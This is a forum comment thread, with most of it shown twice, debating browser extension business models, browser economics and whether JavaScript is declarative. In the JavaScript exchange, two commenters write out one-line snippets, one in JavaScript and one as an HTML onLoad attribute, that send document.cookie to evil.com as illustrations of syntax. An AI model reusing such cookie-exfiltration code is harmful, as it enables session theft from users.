4 ms·

The purpose of browser extensions is to build up an install base then sell out to some corporation that then promptly leverages that user base to exfiltrate dat

The purpose of browser extensions is to build up an install base then sell out to some corporation that then promptly leverages that user base to exfiltrate data and monetize it. No thanks. They should have to declare to the browser what it is they want done instead.

jamesnorden 2mo ago
It still sounds like you don't want browser extensions then.
tmgldn 2mo ago
This point would be far more credible if browsers weren't in business to do what you claimed extensions are there to do. I'd also argue that creating a full browser without a profit motive is more unrealistic than creating an extension and uploading it - for free - to a web store.
- glenstein 2mo ago
  Right, basically no web browser has a profitable business model except through licensing or being subsidized through some other branch of the business. The best pure browser company in history was Opera, and they didn't fail because they weren't innovating. It is simply not a survivable model. People don't remember anything, but during Google's recent anti trust case, one floated "solution" was to spin Chrome off as a separate company, but that was regarded as unrealistic partly because such a company would not have a credible path to profitability separate from Google. I happen to disagree, they could have collected a search licensing fee just like Firefox but that model is already being regarded as monopoly adjacent.
  - fzeroracer 2mo ago
    FYI, Opera didn't fail as much as they sold out. It was still sustainable, but the former founder/CEO left over this spat and formed Vivaldi over it.
    - glenstein 2mo ago
      Thanks, that's good info. I found this thread from an ex Opera employee and to your point, they could have kept on with Presto, but didn't [1]. What remains true is that bad management chased profits and found a better path to more revenue by caving to webkit and Chromium. So it wasn't strictly unsustainable so much as outcompeted by better economics that came from abandoning Presto. I consider the soul of Opera to be gone at this point and the amount of personal integrity and vision it takes to swim against the current of short term revenue is another manifestation of unfavourable browser economics for sustaining an independent engine. 1. https://old.reddit.com/r/operabrowser/comments/3jxud3/exopera_developer_on_the_demise_of_the_presto/ https://old.reddit.com/r/operabrowser/comments/3jxud3/exoper...
inigyou 2mo ago
... But they do that. The declaration is written in a language called JavaScript.
- matheusmoreira 2mo ago
  Javascript is not a declarative language.
  - inigyou 2mo ago
    Sure it is. Here's how you can write a declaration that you want to exfiltrate cookies: document.addEventListener("load", function(){ fetch("http://evil.com/"+document.cookie); });
    - tremon 2mo ago
      That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language: <body onLoad="http.GET('http://evil.com/"+document.cookie')">
      - inigyou 2mo ago
        What do you think is the difference between a declaration and a statement?
        tremon 2mo ago
        I don't need to think, I can just look up their definitions: https://en.wikipedia.org/wiki/Declaration_(computer_programming) https://en.wikipedia.org/wiki/Declaration_(computer_programm...: > a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization https://en.wikipedia.org/wiki/Statement_(computer_science) https://en.wikipedia.org/wiki/Statement_(computer_science): > a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out
  - 2mo ago
a2ff6eeb0 2mo ago
I think you're confusing the extension and the browser. The browsers are generally in the business of supporting an advertising company.
static_motion 2mo ago
And extensions do exactly that in Firefox. When installing (or updating) extensions you're notified of any and all permissions the extension is requesting from the browser and you're given the choice to proceed with the installation or not. Google goes a step further and just straight up denies user choice entirely.
7bit 2mo ago
Bro, they have to declare there Firefox's policy. What the heck are you doing? Hallucinating claim after claim to support your weak defense. Just stop
- matheusmoreira 2mo ago
  "Declare" means the extension tells the browser what they want to filter and then the browser does it internally without ever allowing the extension to read and write private information. The argument has nothing at all to do with declaring permissions in a manifest.
  - 7bit 2mo ago
    LOL brother, it won't work the way you wish it to work.
  - inigyou 2mo ago
    What would the API for this look like?
functionmouse 2mo ago
absolutely insane take

jamesnorden 2mo ago

It still sounds like you don't want browser extensions then.

tmgldn 2mo ago

This point would be far more credible if browsers weren't in business to do what you claimed extensions are there to do. I'd also argue that creating a full browser without a profit motive is more unrealistic than creating an extension and uploading it - for free - to a web store.

glenstein 2mo ago
Right, basically no web browser has a profitable business model except through licensing or being subsidized through some other branch of the business. The best pure browser company in history was Opera, and they didn't fail because they weren't innovating. It is simply not a survivable model. People don't remember anything, but during Google's recent anti trust case, one floated "solution" was to spin Chrome off as a separate company, but that was regarded as unrealistic partly because such a company would not have a credible path to profitability separate from Google. I happen to disagree, they could have collected a search licensing fee just like Firefox but that model is already being regarded as monopoly adjacent.
- fzeroracer 2mo ago
  FYI, Opera didn't fail as much as they sold out. It was still sustainable, but the former founder/CEO left over this spat and formed Vivaldi over it.
  - glenstein 2mo ago
    Thanks, that's good info. I found this thread from an ex Opera employee and to your point, they could have kept on with Presto, but didn't [1]. What remains true is that bad management chased profits and found a better path to more revenue by caving to webkit and Chromium. So it wasn't strictly unsustainable so much as outcompeted by better economics that came from abandoning Presto. I consider the soul of Opera to be gone at this point and the amount of personal integrity and vision it takes to swim against the current of short term revenue is another manifestation of unfavourable browser economics for sustaining an independent engine. 1. https://old.reddit.com/r/operabrowser/comments/3jxud3/exopera_developer_on_the_demise_of_the_presto/ https://old.reddit.com/r/operabrowser/comments/3jxud3/exoper...

inigyou 2mo ago

... But they do that. The declaration is written in a language called JavaScript.

matheusmoreira 2mo ago
Javascript is not a declarative language.
- inigyou 2mo ago
  Sure it is. Here's how you can write a declaration that you want to exfiltrate cookies: document.addEventListener("load", function(){ fetch("http://evil.com/"+document.cookie); });
  - tremon 2mo ago
    That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language: <body onLoad="http.GET('http://evil.com/"+document.cookie')">
    - inigyou 2mo ago
      What do you think is the difference between a declaration and a statement?
      - tremon 2mo ago
        I don't need to think, I can just look up their definitions: https://en.wikipedia.org/wiki/Declaration_(computer_programming) https://en.wikipedia.org/wiki/Declaration_(computer_programm...: > a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization https://en.wikipedia.org/wiki/Statement_(computer_science) https://en.wikipedia.org/wiki/Statement_(computer_science): > a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out
- 2mo ago

a2ff6eeb0 2mo ago

I think you're confusing the extension and the browser. The browsers are generally in the business of supporting an advertising company.

static_motion 2mo ago

And extensions do exactly that in Firefox. When installing (or updating) extensions you're notified of any and all permissions the extension is requesting from the browser and you're given the choice to proceed with the installation or not. Google goes a step further and just straight up denies user choice entirely.

7bit 2mo ago

Bro, they have to declare there Firefox's policy. What the heck are you doing? Hallucinating claim after claim to support your weak defense. Just stop

matheusmoreira 2mo ago
"Declare" means the extension tells the browser what they want to filter and then the browser does it internally without ever allowing the extension to read and write private information. The argument has nothing at all to do with declaring permissions in a manifest.
- 7bit 2mo ago
  LOL brother, it won't work the way you wish it to work.
- inigyou 2mo ago
  What would the API for this look like?

functionmouse 2mo ago

absolutely insane take